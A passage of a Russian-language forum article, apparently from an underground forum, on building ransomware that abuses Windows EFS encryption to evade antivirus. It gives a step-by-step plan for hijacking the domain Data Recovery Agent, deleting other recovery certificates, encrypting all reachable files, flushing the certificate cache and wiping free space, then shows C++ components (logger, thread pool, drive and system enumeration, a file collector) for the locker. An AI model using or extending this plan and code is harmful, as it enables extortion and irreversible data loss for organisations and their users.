вендоры отнеслись к проблеме довольно прохладно.
Спустя некоторое время я начал изучать GPO – групповые политики для Active
Directory и наткнулся в ютубе на плейлист
, в котором сразу 3 видео были
посвящены GPO и EFS. Я это тоже отложил в долгий ящик и успешно забыл.
Ну а поскольку, как известно, дурная голова рукам покоя не дает, то сегодня мы
попробуем написать свой шкафчик, но не простой –
так умеют многие, а хитрого, способного работать под носом у аверов.
Статья носит чисто исследовательский характер и предназначена для начинающих
разработчиков. Основная цель статьи – показать
возможность применения основных принципов проектирования архитектуры к любому
проекту. Просто я тут случайно наткнулся на
исходники HelloKitty и не смог без слез смотреть на это.
1.2 Немного теории
Для начала попробуем разобраться что это за зверь такой – EFS и с чем его
едят.
EFS (Encrypting File System) - это шифрованная файловая система являющаяся
частью NTFS, позволяющая пользователям хранить
данные на диске в зашифрованном формате. Файл зашифрованный одним
пользователем не может быть открыт другими пользователями,
если им не предоставлены соответствующие разрешения. После того как файл был
зашифрован, он автоматически остается зашифрованным
в любом месте хранения на диске. Пользователь, имеющий права на открытие
файла. работает с ним как обычно, а остальные пользователи
при попытке открыть такой файл, получают сообщение "Отказано в доступе".
Шифрованию могут подвергаться любые файлы, в том числе
исполняемые.
Не очень точное определение, но описывающее «для самых маленьких» общую суть.
В статье (https://www.ixbt.com/storage/efs.html), не
смотря на то, что она довольно древняя, описано достаточно подробно, я не буду
ее дублировать здесь. Приведу лишь основные положения
из нее.
1. для повышения скорости используется симметричное шифрование;
2. ключ шифрования File Encryption Key (FEK) – случайным образом
сгенерированный ключ заданной длины;
3. ключи FEK зашифрованы master-ключом, который зашифрован ключом
пользователей системы, имеющего доступ к файлу. Закры-
тый ключ пользователя защищается хэшем пароля этого самого пользователя.
4. FEK’и хранятся в специальном атрибуте DDF – data decription field.
5. закрытый ключик, которым можно расшифровать хранится в пользовательском
хранилище сертификатов. Его можно оттуда уда-
лить, предварительно экспортируя сертификат в надежное место под паролем;
С шифрованием файлов более-менее разобрались. Теперь надо понять что там за
магия с закрытыми ключами.
В этой статье (<https://winitpro.ru/index.php/2014/01/20/shifruem-dannye-v-
windows-8-s-pomoshhyu-efs/>) все максимально подробно рас-
писано и я не буду ее дублировать здесь. Отмечу только, общий алгоритм
действий:
1.2.1 Шифрование файла/каталога
1. зашифровать файл с помощью EFS можно через графический интерфейс
пользователя;
2. если сертификат EFS не был создан ранее, то он будет сгенерирован и винда
предусмотрительно предложит вам его забекапить;
3. поскольку ключики у нас хранятся вместе с сертификатом, то посмотреть их
можно в Certifcate Storage, который мы позовем с
помощью набранной в консоли команды certmgr
4. методом пристального всматривания определяем, что можно удалить приватный
ключик после успешного удаления сертификата и
берем себе это на заметку;
5. этого в статье нет, но путем проведения эксперимента выясняем, что после
удаления сертификата из хранилища и последующей
перезагрузки или завершения сеанса пользователя, зашифрованные файлы нам
недоступны. Это мы тоже запомним.
1.2.2 Расшифровка файла
Выполняем те же операции, но в обратном порядке. Импортируем сертификат, затем
через гуй расшифровываем.
1.2.3 Доверяй, но проверяй
Проведем небольшой эксперимент. В чистой системе, где точно не использовалось
ранее шифрование с помощью EFS попробуем за-
шифровать ручками один файл. Повторим действия описанные в статье, но с
небольшой поправкой. Для начала мы откроем cert store и
будем за ним внимательно наблюдать.
Поехали.
Теперь зашифруем 1 файл и посмотрим что получилось.
Отлично. Теперь экспортируем сертификат, а затем удалим его.
Пока текущий сеанс пользователя не завершен – сертификат живет в кэше и файл
еще можно открыть. Завершаем сеанс. Авторизуемся
заново. Упс, а файлик уже не открывается.
Отлично. Мы смогли зашифровать файл и сделать так, чтобы его никто не смог
больше открыть.
Теперь проделаем обратную операцию. Установим сертификат и попробуем открыть
файл. У нас тоже все получилось.
1.3 Предварительные итоги
Итак, у нас есть метод шифрования файлов, который мы протестировали. Есть
метод дешифровки. Теперь дело за малым – написать
код.
Однако есть и ложка дегтя.
Рассмотрим такую ситуацию. Условный Джон Смит трудился в корпорации зла. Затем
повздорил с кем-то и решил зашифровать все
файлы, до которых доберется через EFS. А потом прихватить с собой сертификат
или просто удалить его с глаз долой из сердца вон. А
документы, до которых он добрался – архиважные. Казалось бы, всё. Пиши
пропало. Даже если этого редиску и посодют, то компания
понесет огромные убытки. Это не есть хорошо. Поэтому разработчики
предусмотрели механизм защиты. Для этого используется так
называемый Data Recovery Agent. Если простыми словами, то это пользователь,
наделенный правами восстановления зашифрованных
данных. Как это работает?
Все очень просто. Если в домене есть учетная запись с правами DRA, то FEK
шифруется несколькими ключами. Точнее – создается
несколько копий FEK и каждая шифруется своим ключом. Например, у нас есть юзер
Джон Смит. Он решил зашифровать файлы.
Следовательно одна копия FEK шифруется его ключом. А еще есть админ Питер
Джонсон, у которого помимо прочего роль DRA. Поэтому
создается еще одна копия FEK и шифруется уже его ключом. Следовательно, если
даже товарищ Смит, в обиде на весь мир, зашифрует
свои файлы своим ключом и удалит его, то у товарища Джонсона будет возможность
восстановить эти файлы. Это проблема для нас, если
мы позиционируем себя как злые и бессердечные рансомщики, но решаемая, причем
достаточно просто.
Опуская детали скажу, что достаточно лишь создать отдельного пользователя,
назначить ему права Data Recovery Agent’a, удалить
сертификаты, а вместе с ними и приватные ключи, остальных DRA. А после
завершения своего черного дела прихватить ключик от нашего
DRA с собой. Звучит просто, не правда ли? Во всяком случае в тестовой
лаборатории у меня проблем с этим не возникло. А на живых сетях
я не пробовал и вам не советую. Конечно, я все настраивал через гуй на
контроллере домена. В теории достаточно написать простенький
повершелл скрипт, который автоматизирует это все.
Да, чуть не забыл, экспортировать сертификат DRA нужно после того, как
отработает последний локальный шифровальщик. Для вос-
становления данных всей сети достаточно установить сертификат DRA на
контроллере домена. Ну и потом обновить групповые политики
на всех машинах домена. Сразу после этого все файлы станут доступны. Можно
даже не расшифровывать. Все будет работать.
1.3.1 Алгоритм подготовки сети к шифрованию
Попробуем прикинуть что нам понадобится сделать, чтобы все получилось по
фэншую.
Поехали.
1. проверить наличие настроенных политик EFS и DRA в домене.
2. Если DRA есть в системе, то удалить его сертификат и сгенерировать новый;
3. Если GPO для EFS не настроены в системе, то выполнить настройку
самостоятельно. Как это сделать можно посмотреть
тут
4. Сгенерировать сертификат DRA. Система устроена так, что без этого на
локальных машинах при попытке зашифровать файл с
помощью EFS будет появляться ошибка, с требованием обратиться к сисадмину.
Теперь, когда танцы с бубном на контроллере домена закончены можно подумать о
самом процессе шифрования.
У меня получился примерно следующий алгоритм:
1. обновить групповые политики, чтобы уведомить систему о том, что DRA у нас
есть и она может не переживать о безвозвратной
потере данных;
2. проверить наличие EFS сертификата в локальном хранилище пользователя. Если
он там есть, то либо аккуратно экспортировать
его и прихватить с собой. а затем удалить. Либо просто удалить. Что я и
сделаю, дабы не усложнять задачу.
3. сгенерировать новый сертификат EFS, с помощью которого мы будем
злодействовать;
4. экспортировать сертификат – то бишь сохранить наш .pfx файл куда нибудь, а
чтобы нам не запутаться кто откуда, дадим ему имя
computer_name.pfx. Да, еще неплохо было бы под пароль это все. Поэтому пароль
тоже будем генерировать или сохранять такой,
чтобы его было сложно подобрать в случае, если по каким-то причинам он попадет
не в те руки.
5. зашифровать все, до чего сможем дотянуться;
6. удалить сертификат из хранилища;
7. почистить за собой кэш, в котором обязательно сохранится копия
сертификата. Для этого разработчики предусмотрительно предо-
ставили нам соответствующие инструменты (cipher.exe /FLUSHCACHE).
8. чтобы жизнь совсем медом не казалась затереть все свободное пространство
на диске нулями. Операция ресурсоемкая и длительная.
Поэтому ее запускаем уже после того, как свалим из сети.
Ну вот собственно и все. Да, это гораздо более гемморойно, нежели просто
раскидать локер по сети через гпо или чем там нынче
пользуются и запустить его. Но зато все аверы будут курить в сторонке. Ну я на
это надеюсь. Во всяком случае Касперский, Софочка,
сентик и аваст у меня в лабе промолчали. Мне не пришлось ломать голову с
поиском их панелей и вылавливать админа с целью выявить
их расположение и креды к ним.
Расшифровка будет выполняться в обратном порядке. Установили сертификат.
Расшифровали.
2 Реализация.
2.1 Проектирование. Общие наброски.
Итак, как известно, любое здание начинается с чертежей, а любой софт с
проектирования архитектуры. Я не устану повторять, что
грамотно спроектированная архитектура имеет архиважное значение. Даже, а
точнее – тем более, в таком проекте, как «шкафчик». Тем
более, не совсем обычный. Хотя, если грамотно спроектировать его, то с помощью
минимальных изменений, его можно превратить в
«обычный». Чем мы сейчас и займемся – проектированием.
Небольшое дополнение. Писать мы будем на С++, используя стандарт С++ 17.
Можно, конечно, использовать чистый Си или «Си с
классами», как это реализовано в большинстве виденных мной паблик исходниках.
Но я хочу показать, что на «православных плюсах»
это всё пишется проще, быстрее и понятнее.
Поехали.
2.2 Модули приложения.
Для начала попробуем ответить себе на вопрос: "какие модули необходимы для
работы приложения?". Затем пройдемся по каждому
модулю и ответим на вопрос: "а нахрена? Действительно ли он нам нужен?". Если
на эти вопросы удалось получить более-менее вменяемый
ответ, то модуль оставляем, иначе вычеркиваем его.
2.2.1 Логи.
Как я уже неоднократно говорил – логи наше все. Отладчик, конечно, никто не
отменял. Но грамотно спроектированные логи позволяют
обращаться к нему только в случаях, когда это действительно необходимо.
Поэтому нам понадобится логгер, да не простой, а с поддержкой
многопоточности и записью в файл. В условиях «боевого» применения мы их,
естественно, отключим. А на стадии разработки нам без
него никак.
Логгер у меня есть свой, написан очень давно, отлажен и протестирован, поэтому
возьмем его и пойдем дальше. Код приведен ниже:
Spoiler: Logger
C++:Copy to clipboard
#ifndef CONSOLE_LOGGER_HPP
#define CONSOLE_LOGGER_HPP
#include <chrono>
#include <string>
#include <ctime>
#include <Windows.h>
#include "tools/thread_pool/synced_stream.hpp"
#pragma warning(disable : 4996)
namespace tools
{
using namespace multithreading;
enum COLORS
{
BLACK = 0,
DARK_BLUE = 1,
DARK_GREEN = 2,
LIGHT_BLUE = 3,
DARK_RED = 4,
MAGENTA = 5,
ORANGE = 6,
LIGHT_GRAY = 7,
GRAY = 8,
BLUE = 9,
GREEN = 10,
CYAN = 11,
RED = 12,
PINK = 13,
YELLOW = 14,
WHITE = 15,
};
namespace settings
{
static COLORS g_flagTimeColor = LIGHT_BLUE;
static COLORS g_textColor = WHITE;
static COLORS g_prefixColor = RED;
}
class LogType
{
public:
COLORS p_color = settings::g_prefixColor;
std::string p_prefix;
LogType(const COLORS prefixColor, const std::string &prefixText)
{
p_color = prefixColor;
p_prefix = prefixText;
}
LogType(const std::string &prefixText, const int logFlag)
{
p_prefix = prefixText;
}
};
class Logger
{
private:
static void setConsoleColor(const uint8_t color)
{
static HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(handle, static_cast<uint8_t>(BLACK) << 4 | color);
}
template<typename T>
static void log(const LogType &logType, T logText)
{
static SyncedStream syncedStream;
setConsoleColor(static_cast<uint8_t>(settings::g_flagTimeColor));
const auto time = std::chrono::system_clock::now();
const std::time_t t = std::chrono::system_clock::to_time_t(time);
std::string timeString(std::ctime(&t));
timeString.replace(timeString.end() - 1, timeString.end(), " ");
syncedStream.print(timeString);
setConsoleColor(static_cast<uint8_t>(logType.p_color));
syncedStream.print(logType.p_prefix + " ");
setConsoleColor(static_cast<uint8_t>(logType.p_color + 1));
syncedStream.println(logText);
setConsoleColor(static_cast<uint8_t>(settings::g_textColor));
}
public:
template<typename T>
static void debug(T message)
{
log(LogType(ORANGE, "DEBUG:"), message);
}
template<typename T>
static void information(T message)
{
log(LogType(GREEN, "INFORMATION:"), message);
}
template<typename T>
static void warning(T message)
{
log(LogType(YELLOW, "WARNING:"), message);
}
template<typename T>
static void error(T message)
{
log(LogType(RED, "ERROR:"), message);
}
template<typename T>
static void fatalError(T message)
{
log(LogType(DARK_RED, "CRITICAL ERROR:"), message);
}
};
}
#endif
2.2.2 Многопоточность
Наш «шкафчик» должен быть быстрым. Поэтому работать будем в несколько потоков.
Для этого мы напишем свой собственный пул
потоков, отвечающий нашим требованиям. Попробуем определить свойства, которыми
должен обладать идеальный Thread Pool:
• Управление потоками: мы хотим эффективно создавать потоки, управлять ими и
завершать их работу.
• Организация очереди задач: ещё нам понадобится механизм постановки в очередь
задач, которые должны выполняться потоками
в пуле. Под задачей в данном контексте понимаем метод или функцию, которые мы
хотим выполнить.
• Повторное использование потоков: создание и уничтожение потоков – операция
затратная, поэтому мы хотим эти затраты
минимизировать а следовательно наш пул должен уметь повторно использовать уже
отработавшие потоки.
• Планирование задач: еще нам понадобится разработать хитрый алгоритм
планирования, позволяющий определить, какой поток
должен выполнить следующую задачу из очереди. Для этого придуманы целые
теории, но здесь мы в них погружаться не будем.
• Потокобезопасность: нескольких потоков должны работать с общими ресурсами
без конфликтов или повреждения данных. Dead
lock, race condition и прочие страшные слова.
• Масштабируемость: также мы хотим регулировать количество потоков в пуле в
зависимости от рабочей нагрузки или системных
ресурсов.
• Гибкость: Позволяет для каждого потока было хорошо иметь настраивать его
приоритет, время ожидания и время простоя.
• Обработка ошибок: тут понятно. Мы хотим чтобы наше приложение продолжало
работать не смотря на возникающие ошибки и
эксепшены. Для этого нам надо корректно их обрабатывать.
• Мониторинг и отладка: мы в любой момент времени должны получить информацию о
производительности пула, как то: исполь-
зование потоков, длина очереди и время выполнения задачи.
• Управление ресурсами.
Такой пул у меня тоже есть в загашниках, поэтому воспользуемся им. Код приведен ниже:
Spoiler: ThreadPool
C++:Copy to clipboard
#ifndef THREAD_POOL_HPP
#define THREAD_POOL_HPP
#include <atomic>
#include <chrono>
#include <condition_variable>
#include <exception>
#include <functional>
#include <future>
#include <iostream>
#include <memory>
#include <mutex>
#include <queue>
#include <thread>
#include <type_traits>
#include <utility>
#include <vector>
namespace tools::multithreading
{
using ConcurrencyT = std::invoke_result_t<decltype(std::thread::hardware_concurrency)>;
template<typename T>
class [[nodiscard]] MultiFuture
{
private:
std::vector<std::future<T>> m_futures;
public:
explicit MultiFuture(const size_t numFutures = 0) : m_futures(numFutures)
{}
[[nodiscard]] std::conditional_t<std::is_void_v<T>, void, std::vector<T>> get()
{
if constexpr (std::is_void_v<T>)
{
for (size_t i = 0; i < m_futures.size(); ++i)
m_futures[i].get();
return;
}
else
{
std::vector<T> results(m_futures.size());
for (size_t i = 0; i < m_futures.size(); ++i)
results[i] = m_futures[i].get();
return results;
}
}
[[nodiscard]] std::future<T> &operator[](const size_t i)
{
return m_futures[i];
}
void pushBack(std::future<T> future)
{
m_futures.push_back(std::move(future));
}
[[nodiscard]] size_t size() const
{
return m_futures.size();
}
void wait() const
{
for (size_t i = 0; i < m_futures.size(); ++i)
m_futures[i].wait();
}
};
template<typename T1, typename T2, typename T = std::common_type_t<T1, T2>>
class [[nodiscard]] Blocks
{
private:
size_t m_blockSize = 0;
T m_firstIndex = 0;
T m_indexAfterLast = 0;
size_t m_numBlocks = 0;
size_t m_totalSize = 0;
public:
Blocks(const T1 firstIndex, const T2 indexAfterLast, const size_t numBlocks) : m_firstIndex(static_cast<T>(firstIndex)), m_indexAfterLast(
static_cast<T>(indexAfterLast)), m_numBlocks(numBlocks)
{
if (m_indexAfterLast < m_firstIndex)
std::swap(m_indexAfterLast, m_firstIndex);
m_totalSize = static_cast<size_t>(m_indexAfterLast - m_firstIndex);
m_blockSize = static_cast<size_t>(m_totalSize / m_numBlocks);
if (m_blockSize == 0)
{
m_blockSize = 1;
m_numBlocks = (m_totalSize > 1) ? m_totalSize : 1;
}
}
[[nodiscard]] T start(const size_t i) const
{
return static_cast<T>(i * m_blockSize) + m_firstIndex;
}
[[nodiscard]] T end(const size_t i) const
{
return (i == m_numBlocks - 1) ? m_indexAfterLast : (static_cast<T>((i + 1) * m_blockSize) + m_firstIndex);
}
[[nodiscard]] size_t getNumBlocks() const
{
return m_numBlocks;
}
[[nodiscard]] size_t getTotalSize() const
{
return m_totalSize;
}
};
class [[nodiscard]] ThreadPool
{
std::atomic<bool> m_isPaused = false;
std::atomic<bool> m_running = false;
std::condition_variable m_taskAvailableCv = {};
std::condition_variable m_taskDoneCv = {};
std::queue<std::function<void()>> m_tasks = {};
std::atomic<size_t> m_tasksTotal = 0;
mutable std::mutex m_tasksMutex = {};
ConcurrencyT m_threadCount = 0;
std::unique_ptr<std::thread[]> m_threads = nullptr;
std::atomic<bool> m_waiting = false;
public:
explicit ThreadPool(const ConcurrencyT threadCount = 0) : m_threadCount(determineThreadCount(threadCount)), m_threads(
std::make_unique<std::thread[]>(determineThreadCount(threadCount)))
{
createThreads();
}
~ThreadPool()
{
waitForTasks();
destroyThreads();
}
[[nodiscard]] size_t getTasksQueued() const
{
const std::scoped_lock tasksLock(m_tasksMutex);
return m_tasks.size();
}
[[nodiscard]] size_t getTasksRunning() const
{
const std::scoped_lock tasks_lock(m_tasksMutex);
return m_tasksTotal - m_tasks.size();
}
[[nodiscard]] size_t getTasksTotal() const
{
return m_tasksTotal;
}
[[nodiscard]] ConcurrencyT getThreadCount() const
{
return m_threadCount;
}
[[nodiscard]] bool isPaused() const
{
return m_isPaused;
}
template<typename F, typename T1, typename T2, typename T = std::common_type_t<T1, T2>, typename R = std::invoke_result_t<std::decay_t<F>, T, T>>
[[nodiscard]] MultiFuture<R> parallelizeLoop(const T1 firstIndex, const T2 indexAfterLast, F &&loop, const size_t numBlocks = 0)
{
Blocks blocks(firstIndex, indexAfterLast, numBlocks ? numBlocks : m_threadCount);
if (blocks.getTotalSize() > 0)
{
MultiFuture<R> mf(blocks.getNumBlocks());
for (size_t i = 0; i < blocks.getNumBlocks(); ++i)
{
mf[i] = submit(std::forward<F>(loop), blocks.start(i), blocks.end(i));
}
return mf;
} else
{
return MultiFuture<R>();
}
}
template<typename F, typename T, typename R = std::invoke_result_t<std::decay_t<F>, T, T>>
[[nodiscard]] MultiFuture<R> parallelizeLoop(const T indexAfterLast, F &&loop, const size_t numBlocks = 0)
{
return parallelizeLoop(0, indexAfterLast, std::forward<F>(loop), numBlocks);
}
void pause()
{
m_isPaused = true;
}
template<typename F, typename T1, typename T2, typename T = std::common_type_t<T1, T2>>
void pushLoop(const T1 firstIndex, const T2 indexAfterLast, F &&loop, const size_t numBlocks = 0)
{
Blocks blocks(firstIndex, indexAfterLast, numBlocks ? numBlocks : m_threadCount);
if (blocks.getTotalSize() > 0)
{
for (size_t i = 0; i < blocks.getNumBlocks(); ++i)
pushTask(std::forward<F>(loop), blocks.start(i), blocks.end(i));
}
}
template<typename F, typename T>
void pushLoop(const T indexAfterLast, F &&loop, const size_t numBlocks = 0)
{
pushLoop(0, indexAfterLast, std::forward<F>(loop), numBlocks);
}
template<typename F, typename... A>
void pushTask(F &&task, A &&... args)
{
std::function<void()> task_function = std::bind(std::forward<F>(task), std::forward<A>(args)...);
{
const std::scoped_lock tasks_lock(m_tasksMutex);
m_tasks.push(task_function);
}
++m_tasksTotal;
m_taskAvailableCv.notify_one();
}
void reset(const ConcurrencyT threadCount = 0)
{
const bool wasPaused = m_isPaused;
m_isPaused = true;
waitForTasks();
destroyThreads();
m_threadCount = determineThreadCount(threadCount);
m_threads = std::make_unique<std::thread[]>(m_threadCount);
m_isPaused = wasPaused;
createThreads();
}
template<typename F, typename... A, typename R = std::invoke_result_t<std::decay_t<F>, std::decay_t<A>...>>
[[nodiscard]] std::future<R> submit(F &&task, A &&... args)
{
std::function<R()> taskFunction = std::bind(std::forward<F>(task), std::forward<A>(args)...);
std::shared_ptr<std::promise<R>> taskPromise = std::make_shared<std::promise<R>>();
pushTask(
[taskFunction, taskPromise] {
try
{
if constexpr (std::is_void_v<R>)
{
std::invoke(taskFunction);
taskPromise->set_value();
} else
{
taskPromise->set_value(std::invoke(taskFunction));
}
}
catch (...)
{
try
{
taskPromise->set_exception(std::current_exception());
}
catch (...)
{
}
}
});
return taskPromise->get_future();
}
void unpause()
{
m_isPaused = false;
}
void waitForTasks()
{
m_waiting = true;
std::unique_lock tasks_lock(m_tasksMutex);
m_taskDoneCv.wait(tasks_lock, [this] { return (m_tasksTotal == (m_isPaused ? m_tasks.size() : 0)); });
m_waiting = false;
}
private:
void createThreads()
{
m_running = true;
for (ConcurrencyT i = 0; i < m_threadCount; ++i)
{
m_threads[i] = std::thread(&ThreadPool::worker, this);
}
}
void destroyThreads()
{
m_running = false;
m_taskAvailableCv.notify_all();
for (ConcurrencyT i = 0; i < m_threadCount; ++i)
{
m_threads[i].join();
}
}
[[nodiscard]] static ConcurrencyT determineThreadCount(const ConcurrencyT threadCount)
{
if (threadCount > 0)
return threadCount;
else
return std::thread::hardware_concurrency() > 0 ? std::thread::hardware_concurrency() : 1;
}
void worker()
{
while (m_running)
{
std::function<void()> task;
std::unique_lock<std::mutex> tasks_lock(m_tasksMutex);
m_taskAvailableCv.wait(tasks_lock, [this] { return !m_tasks.empty() || !m_running; });
if (m_running && !m_isPaused)
{
task = std::move(m_tasks.front());
m_tasks.pop();
tasks_lock.unlock();
task();
tasks_lock.lock();
--m_tasksTotal;
if (m_waiting)
m_taskDoneCv.notify_one();
}
}
}
};
class [[nodiscard]] Timer
{
public:
void start()
{
m_startTime = std::chrono::steady_clock::now();
}
void stop()
{
m_elapsedTime = std::chrono::steady_clock::now() - m_startTime;
}
[[nodiscard]] std::chrono::milliseconds::rep ms() const
{
return (std::chrono::duration_cast<std::chrono::milliseconds>(m_elapsedTime)).count();
}
[[nodiscard]] std::chrono::milliseconds::rep seconds() const
{
return (std::chrono::duration_cast<std::chrono::seconds>(m_elapsedTime)).count();
}
[[nodiscard]] std::string getTime() const
{
auto time = seconds();
if(time < 10)
{
time = ms();
const auto seconds = time / 1000;
const auto ms = time % 1000;
return std::to_string(seconds) + "s : " + std::to_string(ms) + "ms";
}
if(time < 60) return std::to_string(time ) + "s";
if(time < 3600)
{
const auto minutes = time / 60;
const auto seconds = time % 60;
return std::to_string(minutes) + "m :" + std::to_string(seconds) + "s";
}
const auto hours = time / 3600;
const auto minutes = (time % 3600) / 60;
const auto seconds = minutes / 60;
return std::to_string(hours) + "h : " + std::to_string(minutes) + "m" + std::to_string(seconds) + "s";
}
private:
std::chrono::time_point<std::chrono::steady_clock> m_startTime = std::chrono::steady_clock::now();
std::chrono::duration<double> m_elapsedTime = std::chrono::duration<double>::zero();
};
}
#endif //THREAD_POOL_HPP
2.2.3 Сбор информации о системе.
Помимо всего прочего нам понадобится собрать информацию о системе. В частности
нам просто жизненно необходимо получить данные
о дисках, установленных на машине, включая их объем, наличие свободного места,
тип файловой системы. Для этого был разработаны два
класса: DriveInfo и FileSystemHelper. Первый представляет собой контейнер,
содержащий информацию о диске. Второй эту информацию
получает и записывает ее в первый. Код приведен ниже
Spoiler: DriveInfo
C++:Copy to clipboard
#ifndef DRIVE_INFO_HPP
#define DRIVE_INFO_HPP
#include "tools/defines.hpp"
#include "tools/logging/console_logger.hpp"
#include "tools/string_helper.hpp"
namespace tools::sysinfo
{
enum class DRIVE_TYPE : int
{
DRIVE_UNKNOWN,// The drive type cannot be determined
DRIVE_NO_ROOT_DIR,// The root path is invalid; for example, there is no volume mounted at the specified path.
DRIVE_REMOVABLE,// The drive has removable media; for example, a floppy drive, thumb drive, or flash card reader.
DRIVE_FIXED,// The drive has fixed media; for example, a hard disk drive or flash drive.
DRIVE_REMOTE,// The drive is a remote (network) drive.
DRIVE_CDROM,// The drive is a CD-ROM drive.
DRIVE_RAMDISK// The drive is a RAM disk.
};
enum class FILESYSTEM_TYPE : int
{
NTFS = 0,
FAT32 = 1,
exFAT = 2,
UNKNOWN = -1
};
class DriveInfo;
using DriveInfoPtr = std::shared_ptr<DriveInfo>;
using DriveInfoList = std::deque<DriveInfoPtr>;
class DriveInfo
{
private:
fs::path m_driveLetter;
DRIVE_TYPE m_driveType = DRIVE_TYPE::DRIVE_UNKNOWN;
std::wstring m_volumeName;
std::wstring m_filesystemName;
FILESYSTEM_TYPE m_filesystemType = FILESYSTEM_TYPE::UNKNOWN;
ULONGLONG m_availableDiskSpace = 0;
ULONGLONG m_totalDiskSpace = 0;
ULONGLONG m_usedDiskSpace = 0;
static constexpr auto m_gbDivider = 1024 * 1024 * 1024;
public:
void printDriveInfo()
{
Logger::information("\tInformation about a drive " + m_driveLetter.string() + "\n" +
"A drive type:\t\t\t\t" + getStringDriveType() + "\n" +
"A filesystem on the current drive:\t" + StringHelper::wideStringToString(m_filesystemName) + "\n" +
"Total space (GB):\t\t\t" + std::to_string(m_totalDiskSpace / m_gbDivider) + "\n" +
"Used space (GB):\t\t\t" + std::to_string(m_usedDiskSpace / m_gbDivider) + "\n" +
"Available space (GB):\t\t\t" + std::to_string(m_availableDiskSpace / m_gbDivider) + "\n");
}
std::string getDriveTypeDescription()
{
switch (m_driveType)
{
case DRIVE_TYPE::DRIVE_UNKNOWN:
return "The drive type cannot be determined";
case DRIVE_TYPE::DRIVE_NO_ROOT_DIR:
return "The root path is invalid; for example, there is no volume mounted at the specified path.";
case DRIVE_TYPE::DRIVE_REMOVABLE:
return "The drive has removable media; for example, a floppy drive, thumb drive, or flash card reader.";
case DRIVE_TYPE::DRIVE_FIXED:
return "The drive has fixed media; for example, a hard disk drive or flash drive.";
case DRIVE_TYPE::DRIVE_REMOTE:
return "The drive is a remote (network) drive.";
case DRIVE_TYPE::DRIVE_CDROM:
return "The drive is a CD-ROM drive.";
case DRIVE_TYPE::DRIVE_RAMDISK:
return "The drive is a RAM disk.";
"The drive type cannot be determined";
"No Root Dir. The root path is invalid; for example, there is no volume mounted at the specified path.";
"Removable. The drive has removable media; for example, a floppy drive, thumb drive, or flash card reader.";
"Fixed. The drive has fixed media; for example, a hard disk drive or flash drive.";
"Remote. The drive is a remote (network) drive.";
"CD ROM. The drive is a CD-ROM drive.";
"RAM. The drive is a RAM disk.";
}
return "unknown drive type";
}
[[nodiscard]] auto isEfsSupported() const -> bool
{
return m_filesystemType == FILESYSTEM_TYPE::NTFS || m_filesystemType == FILESYSTEM_TYPE::exFAT;
}
[[nodiscard]] DiskSpaceInfo getDiskSpaceInfo() const
{
return std::make_tuple(m_totalDiskSpace, m_availableDiskSpace, m_usedDiskSpace);
}
};
}
#endif //DRIVE_INFO_HPP
Чтобы не захламлять статью кодом рассмотрим только методы получения списка дисков и информации о конкретном диске.
Spoiler: FileSystemHelper
C++:Copy to clipboard
auto FileSystemHelper::getDriveInfo(const std::wstring& driveLetter) -> DriveInfoPtr
{
try
{
auto driveInfo = std::make_shared<DriveInfo>();
driveInfo->setDriveLetter(driveLetter);
driveInfo->setDriveType(getDriveType(driveLetter));
auto [volumeName, filesystemName, fsType] = getVolumeInformation(driveLetter);
driveInfo->setFilesystemName(filesystemName);
driveInfo->setVolumeName(volumeName);
driveInfo->setFilesystemType(fsType);
auto [total, available, used] = getDiskSpaceInfo(driveLetter);
driveInfo->setAvailableDiskSpace(available);
driveInfo->setUsedDiskSpace(used);
driveInfo->setTotalDiskSpace(total);
return driveInfo;
}
catch (Exception& e)
{
Logger::debug(__FUNCTION__);
Logger::error(e.what());
throw;
}
catch (std::exception& e)
{
Logger::debug(__FUNCTION__);
Logger::error(e.what());
throw;
}
}
auto FileSystemHelper::getDrivesLetters() -> StringListW
{
StringListW result;
wchar_t szBuffer[1024];
::GetLogicalDriveStringsW(1024, szBuffer);
wchar_t* pch = szBuffer;
while (*pch)
{
std::wstring s;
s.append(pch);
result.emplace_back(s);
pch = &pch[_tcslen(pch) + 1];
}
return result;
}
Ещё, по-хорошему, не помешает знать версию ОС, объем установленной оперативной
памяти и количество процессоров. Для этого разра-
ботаем вспомогательный класс SysInfo. Ниже приведен код заголовочного файла,
реализация достаточна тривиальна.
Spoiler: SystemInfo
C++:Copy to clipboard
#ifndef SYSTEM_INFO_HPP
#define SYSTEM_INFO_HPP
#include <windows.h>
#include "windows_versions.hpp"
namespace tools::sysinfo
{
class SystemInfo
{
WINDOWS_VERSION m_nt_version = WINDOWS_VERSION::UNKNOWN_WINDOWS_VERSION;
unsigned long m_buildNumber = 0;
bool m_isWorkStationDetected = false;
bool m_isServerOsDetected = false;
bool m_isDomainControllerDetected = false;
private:
static auto getOsVersionInfo() -> OSVERSIONINFOEX;
void determineWindowsVersion();
public:
SystemInfo();
static std::wstring getCurrentUsername();
[[nodiscard]] auto getWindowsNtVersion() const -> WINDOWS_VERSION;
void printWindowsVersion() const;
static std::string getComputerName();
static std::wstring getComputerNameW();
static bool isValidUsername(const std::wstring &username);
static auto isValidCredentials(const std::wstring &username, const std::wstring &password, const std::wstring domain) -> bool;
};
}
#endif
2.2.4
Перечисление файлов.
Поскольку мы пишем «шкафчик», то нам нужно получить список всех файлов на
дисках, затем отфильтровать их, отбросив совсем
древние, системные, а также файлы различного ПО. Согласитесь, нет смысла
шифровать их.
Для этого нам понадобится некий инструмент, позволяющий решать поставленную
задачу. Назовем его DataCollector. Как и в случае
с пулом потоков определим требования к нему:
• получение списка дисков в системе;
• получение и фильтрация списка файлов для шифрования;
• многопоточная реализация;
• отображение прогресса сбора информации;
• сбор статистики;
Для перечисления файлов на диске воспользуемся старым добрым обходом в ширину.
Многопоточность. У нас есть классный пул потоков. Им и воспользуемся. Как это
будет выглядеть. Получим список дисков. Затем
получаем список корневых каталогов на диске. Каждый из них передаем на вход
методу, обходящего дерево каталогов в ширину. Затем
этот метод, назовем его collect_data закидываем в пул потоков. Запускаем пул.
Собранные файлы скидываем в общую структуру данных,
откуда их будет забирать уже модуль шифрования. Поскольку все операции у нас
будут асинхронными, то работыть это будет довольно
быстро. Как только файл прошел фильтры и попал в очередь на шифрование –
шифровальщик его оттуда забирает и обрабатывает. А
чтобы не было скучно, то заодно соберем и список шар.
У меня получилась примерно такая реализация:
Spoiler: FileCollector
Заголовочный файл.
C++:Copy to clipboard
#ifndef FILE_COLLECTOR_HPP
#define FILE_COLLECTOR_HPP
#include <../defines.hpp>
#include <search/data_collection/data_collector.hpp>
#include <configuration/search/search_config.hpp>
namespace core::search::filesystem
{
using namespace configuration;
class FileCollector : public DataCollector
{
